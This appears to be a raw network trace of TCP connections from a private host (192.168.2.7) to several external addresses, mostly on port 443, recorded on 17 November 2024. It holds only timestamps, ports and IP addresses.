Nov 17, 2024 04:38:29.458596945 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.482048035 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.485640049 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.488907099 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.491259098 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.491776943 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.497337103 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.504137039 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.506468058 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.508709908 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.510988951 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.515861988 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.535372019 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.537972927 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.586652994 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.614329100 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.616981983 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.621896029 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.635090113 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.638909101 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.640424013 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.643718004 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.648607016 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.713291883 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.713335037 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.713644981 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.713663101 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.716247082 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.716962099 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.721847057 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.780459881 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.780497074 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.780757904 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.781627893 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.782929897 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.783631086 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.787017107 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.787169933 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.788495064 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.789797068 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.838601112 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.917840958 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.917876959 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.918015957 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.918106079 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.920514107 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.920624018 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.924159050 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.924304008 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.925457954 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.925659895 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.926299095 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.931353092 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.962351084 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.965013981 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.010572910 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.028003931 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.032047033 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.037013054 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.048177958 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.048804045 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.048856974 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.048950911 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.051042080 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.051259995 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.056123972 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.059533119 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.059567928 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.059601068 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.059706926 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.061863899 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.094821930 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.094856024 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.094938993 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.097095966 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.142581940 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.160393953 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.162857056 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.168169975 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.179220915 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.179256916 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.179338932 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.181214094 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.181375027 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.186326981 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.189444065 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.191466093 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.224507093 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.227341890 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.274780989 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.290705919 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.312313080 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.312446117 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.312537909 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.320111036 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.320236921 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:30.354784012 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:30.397367954 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:34.410029888 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:34.410139084 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:34.410258055 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:34.429280996 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:34.429337978 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.053453922 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.053549051 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.056164980 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.056180000 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.056484938 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.100419044 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.176620007 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.176683903 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.176860094 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.652569056 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.652671099 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.652750015 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.654648066 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.654648066 CET	49703	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.654721022 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.654756069 CET	443	49703	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.709456921 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.709491014 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:35.709561110 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.709873915 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:35.709886074 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.317645073 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.317768097 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.319350004 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.319363117 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.320132017 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.321607113 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.321607113 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.321779966 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828200102 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828429937 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828491926 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.828506947 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828596115 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828644037 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.828649044 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828758001 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828804016 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.828809023 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828929901 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.828975916 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.828980923 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.881679058 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.944597960 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.944811106 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.944876909 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.944890022 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.945038080 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.945087910 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.945094109 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.945261002 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.945317984 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.972584009 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.972596884 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:36.972609997 CET	49704	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:36.972614050 CET	443	49704	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.274398088 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.274436951 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.274554968 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.274909019 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.274924040 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.897413015 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.897519112 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.899022102 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.899033070 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.899379015 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.900607109 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.902420044 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:37.902462959 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:37.959811926 CET	49677	443	192.168.2.7	20.50.201.200
Nov 17, 2024 04:38:38.303565025 CET	49675	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:38.303628922 CET	49674	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:38.459819078 CET	49672	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:38.613804102 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:38.613939047 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:38.614034891 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:38.614160061 CET	49705	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:38.614181995 CET	443	49705	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:38.706222057 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:38.706267118 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:38.706346035 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:38.706831932 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:38.706847906 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:39.323788881 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:39.323976040 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:39.325196028 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:39.325206995 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:39.325531960 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:39.326664925 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:39.326805115 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:39.326842070 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:39.326905966 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:39.367351055 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.047257900 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.047409058 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.047557116 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.047557116 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.260560989 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.260606050 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.260679007 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.260996103 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.261013985 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.350541115 CET	49706	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.350567102 CET	443	49706	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.890690088 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.890767097 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.892378092 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.892386913 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.892720938 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.893841982 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.893970966 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.894012928 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:40.894082069 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:40.894093037 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:41.561106920 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:41.561409950 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:41.561520100 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:41.561701059 CET	49707	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:41.561717987 CET	443	49707	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:41.885927916 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:41.885958910 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:41.886028051 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:41.886372089 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:41.886394024 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:42.487948895 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:42.488106012 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:42.489660978 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:42.489669085 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:42.489984035 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:42.491842985 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:42.491975069 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:42.491982937 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:43.215607882 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:43.215748072 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:43.215802908 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:43.215949059 CET	49708	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:43.215966940 CET	443	49708	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:43.804131985 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:43.804169893 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:43.804260015 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:43.804893017 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:43.804907084 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.414778948 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.414858103 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.419011116 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.419019938 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.419405937 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.421046972 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.421928883 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.421993971 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422101974 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422147989 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422267914 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422314882 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422430992 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422460079 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422590017 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422620058 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422751904 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422776937 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.422794104 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422918081 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.422951937 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432203054 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.432374001 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432420969 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432436943 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432457924 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.432600021 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432629108 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.432653904 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432681084 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432699919 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432713032 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:44.432729006 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:44.432764053 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:47.563774109 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:47.563798904 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:47.563906908 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:47.565895081 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:47.565912962 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:48.191720009 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.191967964 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.192027092 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.192325115 CET	49709	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.192337990 CET	443	49709	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.242959976 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.242981911 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.243098021 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.243649960 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.243664980 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.682658911 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:48.682746887 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:48.686115026 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:48.686125994 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:48.686536074 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:48.741097927 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:48.857218981 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.857346058 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.859106064 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.859113932 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.859469891 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:48.861027002 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.861061096 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:48.861263990 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:49.407922029 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:49.408191919 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:49.408354998 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:49.408381939 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:49.408399105 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:49.408421993 CET	49711	443	192.168.2.7	188.114.96.3
Nov 17, 2024 04:38:49.408427954 CET	443	49711	188.114.96.3	192.168.2.7
Nov 17, 2024 04:38:49.421461105 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:49.426389933 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:49.426481962 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:49.426625013 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:49.431454897 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:49.625897884 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:49.667356014 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008850098 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008900881 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008919954 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008939981 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008979082 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.008994102 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.008997917 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.009031057 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.009052038 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.009085894 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.009197950 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.009280920 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.009300947 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.053622961 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.134630919 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.134716988 CET	443	49710	4.175.87.197	192.168.2.7
Nov 17, 2024 04:38:50.134785891 CET	49710	443	192.168.2.7	4.175.87.197
Nov 17, 2024 04:38:50.318819046 CET	80	49713	185.215.113.16	192.168.2.7
